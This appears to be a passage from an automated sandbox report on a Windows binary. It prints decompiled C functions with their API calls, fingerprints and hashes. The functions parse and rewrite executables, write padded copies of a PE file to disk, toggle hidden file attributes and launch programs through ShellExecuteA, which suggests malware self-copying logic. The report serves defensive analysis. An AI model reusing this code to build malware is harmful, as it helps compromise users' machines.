Function 0040675C, Relevance: 19.7, APIs: 13, Instructions: 199
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040675C(CHAR* _a4, long* _a8, long _a12) {
				long _v8;
				void* _v12;
				struct _OVERLAPPED* _v16;
				long _v20;
				struct _OVERLAPPED* _v24;
				long _v28;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v60;
				void _v68;
				long _v72;
				void _v132;
				intOrPtr _v320;
				signed int _v360;
				signed int _v374;
				void _v380;
				void* _t85;
				long _t88;
				int _t92;
				long _t93;
				int _t96;
				long _t99;
				long _t102;
				struct _OVERLAPPED* _t103;
				long _t104;
				long _t115;
				long _t120;
				signed int _t143;
				void* _t146;

				_v16 = 0;
				_v8 = 0;
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 0x80);
				}
				_t85 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 0x80, 0); // executed
				_v12 = _t85;
				if(_t85 == 0xffffffff) {
					_v12 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 4, 0);
				}
				if(_a12 != 0) {
					SetFileAttributesA(_a4, 2);
				}
				if(_v12 != 0xffffffff) {
					_t88 = GetFileSize(_v12, 0);
					_v8 = _t88;
					if(_t88 == 0xffffffff || _t88 == 0) {
						L31:
						_v8 = 0;
					} else {
						_a12 = 0;
						_v28 = 0;
						_t92 = ReadFile(_v12,  &_v132, 0x40,  &_a12, 0); // executed
						if(_t92 == 0) {
							goto L31;
						} else {
							_t93 = SetFilePointer(_v12, _v72, 0, 0); // executed
							if(_t93 == 0xffffffff) {
								goto L31;
							} else {
								_t96 = ReadFile(_v12,  &_v380, 0xf8,  &_v28, 0); // executed
								if(_t96 == 0) {
									goto L31;
								} else {
									_t99 = SetFilePointer(_v12, (_v360 & 0x0000ffff) + _v72 + 0x18, 0, 0); // executed
									if(_t99 == 0xffffffff) {
										goto L31;
									} else {
										_v20 = 0;
										_v24 = 0;
										if(0 < _v374) {
											while(1) {
												_t115 = 0x28;
												_a12 = _t115;
												if(ReadFile(_v12,  &_v68, _t115,  &_a12, 0) == 0) {
													break;
												}
												_t143 = _v374 & 0x0000ffff;
												if(_v24 != _t143 - 1) {
													_t120 = _v48 + _v52;
												} else {
													_t120 = (_v320 + _v60 - 0x00000001 &  !(_v320 - 1)) + _v48;
												}
												_a12 = _t120;
												if(_v20 < _t120) {
													_v20 = _t120;
												}
												_v24 = _v24 + 1;
												if(_v24 < _t143) {
													continue;
												} else {
												}
												goto L23;
											}
											_v8 = 0;
										}
										L23:
										if(_v24 >= (_v374 & 0x0000ffff)) {
											_t102 = _v20;
											if(_v8 > _t102) {
												_v8 = _t102;
											}
											_t103 = E0040EBCC(_v8);
											_v16 = _t103;
											if(_t103 == 0) {
												goto L31;
											} else {
												_t104 = SetFilePointer(_v12, 0, 0, 0); // executed
												if(_t104 == 0xffffffff) {
													L30:
													_v8 = 0;
													E0040EC2E(_v16);
													_v16 = 0;
												} else {
													_t146 = _v16;
													if(ReadFile(_v12, _t146, _v8,  &_v20, 0) == 0) {
														goto L30;
													} else {
														 *(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 0x10) =  *((intOrPtr*)(((_v374 & 0x0000ffff) - 1) * 0x28 + (_v360 & 0x0000ffff) + _v72 + _t146 + 0x18 + 8)) + _v320 - 0x00000001 &  !(_v320 - 1);
														_v8 = _v20;
													}
												}
											}
										}
									}
								}
							}
						}
					}
					FindCloseChangeNotification(_v12); // executed
				}
				 *_a8 = _v8;
				return _v16;
			}

0x0040676a
0x0040676d
0x00406778
0x0040677e
0x0040677e
0x0040679a
0x0040679c
0x004067a2
0x004067b2
0x004067b2
0x004067b8
0x004067bf
0x004067bf
0x004067c9
0x004067d3
0x004067d9
0x004067df
0x0040696b
0x0040696b
0x004067ed
0x00406801
0x00406804
0x00406807
0x0040680b
0x00000000
0x00406811
0x0040681f
0x00406824
0x00000000
0x0040682a
0x0040683e
0x00406842
0x00000000
0x00406848
0x0040685c
0x00406861
0x00000000
0x00406867
0x00406869
0x0040686c
0x00406876
0x00406878
0x0040687a
0x00406881
0x0040688f
0x00000000
0x00000000
0x00406891
0x0040689e
0x004068ba
0x004068a0
0x004068b2
0x004068b2
0x004068bd
0x004068c3
0x004068c5
0x004068c5
0x004068c8
0x004068ce
0x00000000
0x00000000
0x004068d0
0x00000000
0x004068ce
0x004068d2
0x004068d2
0x004068d5
0x004068df
0x004068e5
0x004068eb
0x004068ed
0x004068ed
0x004068f3
0x004068f9
0x004068fe
0x00000000
0x00406900
0x00406906
0x0040690b
0x0040695a
0x0040695d
0x00406960
0x00406966
0x0040690d
0x0040690d
0x00406920
0x00000000
0x00406922
0x0040694f
0x00406955
0x00406955
0x00406920
0x0040690b
0x004068fe
0x004068df
0x00406861
0x00406842
0x00406824
0x0040680b
0x00406971
0x00406971
0x0040697f
0x00406986

APIs

SetFileAttributesA.KERNEL32(?,00000080,?,73B743E0,00000000), ref: 0040677E
CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,73B743E0,00000000), ref: 0040679A
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,73B743E0,00000000), ref: 004067B0
SetFileAttributesA.KERNEL32(?,00000002,?,73B743E0,00000000), ref: 004067BF
GetFileSize.KERNEL32(000000FF,00000000,?,73B743E0,00000000), ref: 004067D3
ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,73B743E0,00000000), ref: 00406807
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,73B743E0,00000000), ref: 0040681F
ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,73B743E0,00000000), ref: 0040683E
SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,73B743E0,00000000), ref: 0040685C
ReadFile.KERNEL32(000000FF,?,00000028,00408244,00000000,?,73B743E0,00000000), ref: 0040688B
SetFilePointer.KERNELBASE(000000FF,00000000,00000000,00000000,?,73B743E0,00000000), ref: 00406906
ReadFile.KERNEL32(000000FF,004121A8,00000000,00408244,00000000,?,73B743E0,00000000), ref: 0040691C
FindCloseChangeNotification.KERNELBASE(000000FF,?,73B743E0,00000000), ref: 00406971

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$Read$Pointer$AttributesCreateHeap$ChangeCloseFindFreeNotificationProcessSize
String ID:
API String ID: 1400801100-0
Opcode ID: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction ID: 23622665348289c9bdc7ba1e7bdf6275147e3319f3664adf7917ee5564634b96
Opcode Fuzzy Hash: d05b9ef8185a7d6987771a176bb27021890da5eba797bb42cdabcd388c34deb0
Instruction Fuzzy Hash: E47109B1D00219EFDB109FA5CC809EEBBB9FB04314F11457AF516B6290E7349EA2DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00406A60, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 106
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406A60(int __edx, CHAR* _a4, intOrPtr _a8, int _a12) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				void* _v12;
				long _v16;
				long _v20;
				long _v24;
				intOrPtr _v28;
				long _v32;
				void* _t31;
				int _t42;
				intOrPtr _t43;
				int _t44;
				void* _t53;
				int _t59;
				CHAR* _t68;
				void* _t69;
				int _t73;

				_t59 = __edx;
				_t68 = _a4;
				_t31 = CreateFileA(_t68, 0x40000000, 0, 0, 2, 0x80, 0); // executed
				_v12 = _t31;
				if(_t31 == 0xffffffff) {
					 *0x412180 = 0x5e060101;
					 *0x41217c = GetLastError();
					__eflags = 0;
					return 0;
				}
				_v8 =  *_t68;
				_v7 = _t68[1];
				_t63 = _a12;
				_v6 = _t68[2];
				_v5 = 0;
				_t42 = GetDiskFreeSpaceA( &_v8,  &_v20,  &_v24,  &_v16,  &_v32); // executed
				if(_t42 == 0) {
					L10:
					_t43 = E00406987(0x500000, _v12, _a8, _a12, _t63); // executed
					_v28 = _t43;
					if(_t43 != 0) {
						_t44 = FindCloseChangeNotification(_v12); // executed
						__eflags = _t44;
						if(_t44 != 0) {
							L15:
							return _v28;
						}
						 *0x412180 = 0x5e060103;
						 *0x41217c = GetLastError();
						CloseHandle(_v12);
						L14:
						DeleteFileA(_t68);
						goto L15;
					}
					 *0x412180 = 0x5e060102;
					 *0x41217c = GetLastError();
					CloseHandle(_v12);
					goto L14;
				}
				_t53 = E0040EB0E(_v20 * _v24, 0, _v16, 0);
				_t69 = _t69 + 0x10;
				_t73 = _t59;
				if(_t73 < 0) {
					goto L10;
				}
				if(_t73 > 0 || _t53 > 0x6400000) {
					_t22 = E0040ECA5() % 0x500000 + 0xa00000; // 0xa00000
					_t63 = _t22;
					goto L10;
				} else {
					__eflags = _t59;
					if(__eflags < 0) {
						goto L10;
					}
					if(__eflags > 0) {
						L9:
						_t63 = (E0040ECA5() & 0x001fffff) + 0x300000;
						__eflags = (E0040ECA5() & 0x001fffff) + 0x300000;
						goto L10;
					}
					__eflags = _t53 - 0x3200000;
					if(_t53 <= 0x3200000) {
						goto L10;
					}
					goto L9;
				}
			}

0x00406a60
0x00406a68
0x00406a7d
0x00406a83
0x00406a89
0x00406b8c
0x00406b9c
0x00406ba1
0x00000000
0x00406ba1
0x00406a91
0x00406a97
0x00406a9e
0x00406aa1
0x00406ab8
0x00406abb
0x00406ac3
0x00406b1d
0x00406b27
0x00406b2f
0x00406b34
0x00406b5f
0x00406b61
0x00406b63
0x00406b86
0x00000000
0x00406b89
0x00406b65
0x00406b78
0x00406b7d
0x00406b7f
0x00406b80
0x00000000
0x00406b80
0x00406b36
0x00406b49
0x00406b4e
0x00000000
0x00406b4e
0x00406ad2
0x00406ad7
0x00406ada
0x00406adc
0x00000000
0x00000000
0x00406ade
0x00406af5
0x00406af5
0x00000000
0x00406afd
0x00406afd
0x00406aff
0x00000000
0x00000000
0x00406b01
0x00406b0a
0x00406b17
0x00406b17
0x00000000
0x00406b17
0x00406b03
0x00406b08
0x00000000
0x00000000
0x00000000
0x00406b08

APIs

CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,73BB81D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B5F
GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B6F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B7D
DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80
GetLastError.KERNEL32(?,?,?,00409A60,?,?,00409E9D,?,?,?,?,?,00409E9D,?,00000022,?), ref: 00406B96

Strings

PromptOnSecureDesktop, xrefs: 00406A9D

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseErrorLast$FileHandle$ChangeCreateDeleteDiskFindFreeNotificationSpace
String ID: PromptOnSecureDesktop
API String ID: 1251348514-2980165447
Opcode ID: 9d4c85761783c6bedd22d93ddceda0b583ceddf5ed0ddaf9bf98be4dbd44beb2
Instruction ID: d1ca1be21706f377461b54c84c0418c788cbd3a22021bcedc5f811c3684b10f5
Opcode Fuzzy Hash: 9d4c85761783c6bedd22d93ddceda0b583ceddf5ed0ddaf9bf98be4dbd44beb2
Instruction Fuzzy Hash: E131F1B2900108BFDB00DFA09D44ADF7F78EF48314F158076E212F7291D674A9618F69

Uniqueness

Uniqueness Score: -1.00%

Function 004099D2, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
stringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004099D2(int __edx, void* __eflags, CHAR* _a4, CHAR* _a8, CHAR* _a12, intOrPtr _a16, int _a20) {
				signed int _t14;
				void* _t21;
				CHAR* _t22;
				void* _t24;
				int _t25;

				_t25 = __edx;
				_t22 = _a8;
				lstrcpyA(_t22, _a4);
				E00408274(_t22);
				_push(0);
				_push(_a12);
				_t14 = E00406C6F((E0040ECA5() & 0x0000000f) << 0x00000014 | 0x00005e06);
				_pop(_t24);
				_push(_t14 ^ 0x5e5e5e5e);
				E0040F133();
				lstrcatA(_a12, E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8));
				E0040EE2A(_t24, 0x4122f8, 0, 0x100);
				lstrcatA(_t22, _a12);
				_t21 = E00406A60(_t25, _t22, _a16, _a20); // executed
				return _t21;
			}

0x004099d2
0x004099d6
0x004099df
0x004099e6
0x004099ec
0x004099ee
0x00409a02
0x00409a07
0x00409a0d
0x00409a0e
0x00409a3c
0x00409a46
0x00409a52
0x00409a5b
0x00409a67

APIs

lstrcpyA.KERNEL32(?,?,00000100,PromptOnSecureDesktop,00000000,?,00409E9D,?,00000022,?,?,?,?,?,?,?), ref: 004099DF
lstrcatA.KERNEL32(00000022,00000000,?,?,00409E9D,?,00000022,?,?,?,?,?,?,?,000001F4), ref: 00409A3C
lstrcatA.KERNEL32(?,00000022,?,?,?,?,?,00409E9D,?,00000022,?,?,?), ref: 00409A52

Part of subcall function 00406A60: CreateFileA.KERNELBASE(?,40000000,00000000,00000000,00000002,00000080,00000000,73BB81D0,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406A7D
Part of subcall function 00406A60: GetDiskFreeSpaceA.KERNELBASE(00409E9D,00409A60,?,?,?,PromptOnSecureDesktop,?,?,?,00409A60,?,?,00409E9D), ref: 00406ABB
Part of subcall function 00406A60: GetLastError.KERNEL32(?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B40
Part of subcall function 00406A60: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B4E
Part of subcall function 00406A60: DeleteFileA.KERNEL32(?,?,?,?,?,?,?,?,00409A60,?,?,00409E9D), ref: 00406B80

Strings

PromptOnSecureDesktop, xrefs: 004099D9, 00409A24, 00409A29, 00409A45

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Filelstrcat$CloseCreateDeleteDiskErrorFreeHandleLastSpacelstrcpy
String ID: PromptOnSecureDesktop
API String ID: 4131120076-2980165447
Opcode ID: be09df33dcc6f2a3fdbc4bc97248f80c25466b2a2047915d1b3dfbec121fd657
Instruction ID: 999a359fc576e2b3a931277362cd5bccce169ff4f9e5d7c0a577f61a7a1a744c
Opcode Fuzzy Hash: be09df33dcc6f2a3fdbc4bc97248f80c25466b2a2047915d1b3dfbec121fd657
Instruction Fuzzy Hash: 6601A27294020877EA103F62EC47F9F3F1DEB44718F00483AF619790D2D9BA95709AAC

Uniqueness

Uniqueness Score: -1.00%

Function 00404000, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35
sleepfileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404000(CHAR* _a4, signed int* _a8) {
				void* _t3;
				long _t6;
				void* _t8;
				signed int* _t9;

				_t9 = _a8;
				_t8 = 0;
				 *_t9 =  *_t9 | 0xffffffff;
				while(1) {
					_t3 = CreateFileA(_a4, 0xc0000000, 3, 0, 3, 0x40000080, 0); // executed
					if(_t3 != 0xffffffff) {
						break;
					}
					_t6 = GetLastError();
					if(_t6 == 2 || _t6 == 3) {
						L6:
						return 0;
					} else {
						if(_t6 == 5) {
							L9:
							return 1;
						}
						Sleep(0x1f4);
						_t8 = _t8 + 1;
						if(_t8 < 0xa) {
							continue;
						}
						goto L6;
					}
				}
				 *_t9 = _t3;
				goto L9;
			}

0x00404001
0x00404006
0x00404008
0x0040400b
0x00404021
0x0040402a
0x00000000
0x00000000
0x0040402c
0x00404035
0x00404052
0x00000000
0x0040403c
0x0040403f
0x00404059
0x00000000
0x0040405b
0x00404046
0x0040404c
0x00404050
0x00000000
0x00000000
0x00000000
0x00404050
0x00404035
0x00404057
0x00000000

APIs

CreateFileA.KERNELBASE(40000080,C0000000,00000003,00000000,00000003,40000080,00000000,00000001,PromptOnSecureDesktop,004042B6,00000000,00000001,PromptOnSecureDesktop,00000000,?,004098FD), ref: 00404021
GetLastError.KERNEL32(?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 0040402C
Sleep.KERNEL32(000001F4,?,004098FD,00000001,00000100,PromptOnSecureDesktop,0040A3C7), ref: 00404046

Strings

PromptOnSecureDesktop, xrefs: 00404000

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CreateErrorFileLastSleep
String ID: PromptOnSecureDesktop
API String ID: 408151869-2980165447
Opcode ID: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction ID: 3804347f6bd7ba573f3b83e06e35dce69dd086f5e0a34025cfebbc3953b0dfe0
Opcode Fuzzy Hash: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction Fuzzy Hash: 05F0A771240101AAD7311B24BC49B5B36A1DBC6734F258B76F3B5F21E0C67458C19B1D

Uniqueness

Uniqueness Score: -1.00%

Function 00406987, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92
fileCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00406987(void* __ecx, void* _a4, void* _a8, intOrPtr _a12, signed int _a16) {
				long _v8;
				long _v12;
				signed int _t50;
				int _t52;
				signed int _t53;
				int _t59;
				signed int _t60;
				long _t68;
				signed int _t74;
				void* _t78;
				void* _t85;

				_t78 = _a8;
				_t48 =  *((intOrPtr*)(_t78 + 0x3c)) + _t78;
				_t7 =  &_a16; // 0x406b2c
				_t85 = (( *( *((intOrPtr*)(_t78 + 0x3c)) + _t78 + 6) & 0x0000ffff) - 1) * 0x28 + ( *(_t48 + 0x14) & 0x0000ffff) + _t48 + 0x18;
				_t68 =  *(_t85 + 0x14);
				_t50 =  *_t7 - _t68;
				_v8 = _t50;
				if(_t68 >= _a12) {
					L5:
					_a16 = _a16 & 0x00000000;
				} else {
					_t74 =  *(_t85 + 0x10);
					if(_t74 == 0) {
						goto L5;
					} else {
						_v12 = _t74;
						_a16 = _t50 / _t74;
						if(_a16 < 1) {
							_a16 = 1;
						}
						_t20 =  &_a16; // 0x406b2c
						 *(_t85 + 0x10) =  *_t20 * _t74;
					}
				}
				_v8 = _v8 & 0x00000000;
				_t52 = WriteFile(_a4, _t78, _t68,  &_v8, 0); // executed
				if(_t52 == 0 || _v8 != _t68) {
					if(_a16 != 0) {
						 *(_t85 + 0x10) = _v12;
					}
					_t53 = 0;
				} else {
					if(_a16 == 0) {
						L13:
						_t53 = _t68;
					} else {
						 *(_t85 + 0x10) = _v12;
						while(1) {
							_v8 = _v8 & 0x00000000;
							_t59 = WriteFile(_a4, _a8 +  *(_t85 + 0x14), _v12,  &_v8, 0); // executed
							_t60 = _v8;
							if(_t59 == 0 || _t60 != _v12) {
								break;
							}
							_t68 = _t68 + _t60;
							_t41 =  &_a16;
							 *_t41 = _a16 - 1;
							if( *_t41 != 0) {
								continue;
							} else {
								goto L13;
							}
							goto L18;
						}
						asm("sbb eax, eax");
						_t53 =  !_t60 & _t68 + _t60;
					}
				}
				L18:
				return _t53;
			}

0x0040698f
0x00406995
0x004069a7
0x004069aa
0x004069ac
0x004069af
0x004069b1
0x004069b7
0x004069e0
0x004069e0
0x004069b9
0x004069b9
0x004069be
0x00000000
0x004069c0
0x004069c4
0x004069c7
0x004069d0
0x004069d2
0x004069d2
0x004069d5
0x004069db
0x004069db
0x004069be
0x004069e4
0x004069f9
0x004069fd
0x00406a51
0x00406a56
0x00406a56
0x00406a59
0x00406a04
0x00406a08
0x00406a3c
0x00406a3c
0x00406a0a
0x00406a0d
0x00406a10
0x00406a10
0x00406a27
0x00406a2b
0x00406a2e
0x00000000
0x00000000
0x00406a35
0x00406a37
0x00406a37
0x00406a3a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a3a
0x00406a45
0x00406a49
0x00406a49
0x00406a08
0x00406a5b
0x00406a5f

APIs

WriteFile.KERNELBASE(00409A60,?,?,00000000,00000000,00409A60,?,00000000), ref: 004069F9
WriteFile.KERNELBASE(00409A60,?,00409A60,00000000,00000000), ref: 00406A27

Strings

,k@, xrefs: 004069A7, 004069D5

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileWrite
String ID: ,k@
API String ID: 3934441357-1053005162
Opcode ID: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction ID: 2e4882fff751b5905bcc38bfa2cd4d67bf9c642b42fdf425c00f27fbfd993b21
Opcode Fuzzy Hash: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction Fuzzy Hash: 3A313A72A00209EFDB24DF58D984BAA77F4EB44315F12847AE802F7680D374EE64CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC54, Relevance: 4.5, APIs: 3, Instructions: 24
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EC54() {
				long _v8;
				struct _FILETIME _v16;
				signed int _t11;

				GetSystemTimeAsFileTime( &_v16);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0); // executed
				_t11 = (GetTickCount() ^ _v16.dwHighDateTime ^ _v8) & 0x7fffffff;
				 *0x4136cc = _t11;
				return _t11;
			}

0x0040ec5e
0x0040ec72
0x0040ec84
0x0040ec89
0x0040ec8f

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
GetTickCount.KERNEL32 ref: 0040EC78

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID:
API String ID: 1209300637-0
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Uniqueness

Uniqueness Score: -1.00%

Function 004091EB, Relevance: 3.1, APIs: 2, Instructions: 119
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004091EB(char* _a4, char* _a8) {
				signed int _v8;
				signed int _v12;
				char _v524;
				char _t24;
				char* _t25;
				void* _t27;
				intOrPtr* _t29;
				char* _t31;
				char _t34;
				intOrPtr _t40;
				void* _t41;
				char* _t42;
				void* _t44;
				void* _t45;
				void* _t46;

				_v12 = _v12 & 0x00000000;
				_t42 = _a8;
				_v8 = 0x10;
				if( *_t42 == 0) {
					L33:
					return _v12;
				} else {
					goto L1;
				}
				do {
					L1:
					_t31 = E0040ED03(_t42, 0xd);
					if(_t31 != 0) {
						L6:
						_t44 = _t31 - _t42;
						if(_t44 >= 0x200) {
							_t44 = 0x1ff;
						}
						E0040EE08( &_v524, _t42, _t44);
						_t46 = _t46 + 0xc;
						 *((char*)(_t45 + _t44 - 0x208)) = 0;
						if(_v524 == 0) {
							goto L27;
						} else {
							_t25 =  &_v524;
							if(_v524 != 0x20) {
								L16:
								while( *_t25 == 0x22) {
									while(1) {
										_t25 =  &(_t25[1]);
										_t34 =  *_t25;
										if(_t34 == 0) {
											break;
										}
										if(_t34 == 0x22) {
											L15:
											_t25 =  &(_t25[1]);
											goto L16;
										}
									}
									if(_t34 != 0x22) {
										L20:
										while( *_t25 != 0) {
											if( *_t25 == 0x20) {
												L22:
												 *_t25 = 0;
												do {
													_t25 =  &(_t25[1]);
												} while ( *_t25 == 0x20);
												L26:
												_t27 = ShellExecuteA(0, _a4,  &_v524, _t25, 0, 0); // executed
												_v12 = _t27;
												if(_t27 != 0x2a) {
													 *0x412180 = _v8 | 0x5e060100;
													 *0x41217c = _t27;
													return _t27;
												} else {
													goto L27;
												}
												while(1) {
													L27:
													_t24 =  *_t31;
													if(_t24 != 0xd && _t24 != 0xa) {
														goto L30;
													}
													_t31 = _t31 + 1;
												}
												goto L30;
											}
											_t25 =  &(_t25[1]);
										}
										if( *_t25 != 0x20) {
											_t25 = 0;
											goto L26;
										}
										goto L22;
									}
									goto L15;
								}
								goto L20;
							} else {
								goto L10;
							}
							do {
								L10:
								_t25 =  &(_t25[1]);
							} while ( *_t25 == 0x20);
							goto L16;
						}
					}
					_t31 = E0040ED03(_t42, 0xa);
					if(_t31 != 0) {
						goto L6;
					}
					_t29 = _t42;
					_t5 = _t29 + 1; // 0x409689
					_t41 = _t5;
					do {
						_t40 =  *_t29;
						_t29 = _t29 + 1;
					} while (_t40 != 0);
					_t31 = _t29 - _t41 + _t42;
					goto L6;
					L30:
					_t42 = _t31;
					if( *_t31 != 0) {
						Sleep(0x1f4); // executed
					}
					_v8 = _v8 + 1;
				} while ( *_t31 != 0);
				goto L33;
			}

0x004091f4
0x004091fb
0x00409201
0x00409208
0x00409308
0x00000000
0x00000000
0x00000000
0x00000000
0x0040920e
0x0040920e
0x00409216
0x0040921c
0x0040923f
0x00409241
0x00409249
0x0040924b
0x0040924b
0x00409259
0x0040925e
0x00409261
0x00409270
0x00000000
0x00409272
0x00409279
0x0040927f
0x00000000
0x0040929b
0x0040928e
0x0040928e
0x0040928f
0x00409293
0x00000000
0x00000000
0x0040928c
0x0040929a
0x0040929a
0x00000000
0x0040929a
0x0040928c
0x00409298
0x00000000
0x004092a8
0x004092a5
0x004092b2
0x004092b2
0x004092b5
0x004092b5
0x004092b6
0x004092bf
0x004092cf
0x004092d5
0x004092db
0x00409319
0x0040931f
0x00000000
0x00000000
0x00000000
0x00000000
0x004092dd
0x004092dd
0x004092dd
0x004092e1
0x00000000
0x00000000
0x004092e7
0x004092e7
0x00000000
0x004092dd
0x004092a7
0x004092a7
0x004092b0
0x004092bd
0x00000000
0x004092bd
0x00000000
0x004092b0
0x00000000
0x00409298
0x00000000
0x00000000
0x00000000
0x00000000
0x00409281
0x00409281
0x00409281
0x00409282
0x00000000
0x00409287
0x00409270
0x00409226
0x0040922c
0x00000000
0x00000000
0x0040922e
0x00409230
0x00409230
0x00409233
0x00409233
0x00409235
0x00409236
0x0040923c
0x00000000
0x004092ea
0x004092ed
0x004092ef
0x004092f6
0x004092f6
0x004092fc
0x004092ff
0x00000000

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000023,00000000,00000000), ref: 004092CF
Sleep.KERNELBASE(000001F4,00000000,00000000,000000C8), ref: 004092F6

Memory Dump Source

Source File: 00000018.00000002.800633146.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000018.00000002.800714800.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-0
Opcode ID: 81da36da6e69adc00e0cb2cfffbbe3a903d6fd6272529730d891abfeac9bc17a
Instruction ID: 5fea5e1b15d9187b6cdc511d2afc01ce650ad8af0150c489a19ba70d9433e7e1
Opcode Fuzzy Hash: 81da36da6e69adc00e0cb2cfffbbe3a903d6fd6272529730d891abfeac9bc17a
Instruction Fuzzy Hash: B541EE718083497EEB269A64988C7E73BA49B52300F2809FFD496B72D3D7BC4D818759

Uniqueness

Uniqueness Score: -1.00%

Function 00406DC2, Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406DC2(void* __ecx) {
				char _v261;
				char _v264;
				long _t6;
				intOrPtr* _t10;
				int _t13;
				intOrPtr _t20;
				void* _t21;

				_t6 =  *0x412f0c; // 0x43aed43b
				if(_t6 == 0) {
					E0040EF00( &_v264, E00406CC9(__ecx));
					_t10 =  &_v264;
					_t21 = _t10 + 1;
					do {
						_t20 =  *_t10;
						_t10 = _t10 + 1;
					} while (_t20 != 0);
					if(_t10 - _t21 < 3) {
						L5:
						 *0x412f0c = 0x5e5e5e5e;
					} else {
						_v261 = 0;
						_t13 = GetVolumeInformationA( &_v264, 0, 0, 0x412f0c, 0, 0, 0, 0); // executed
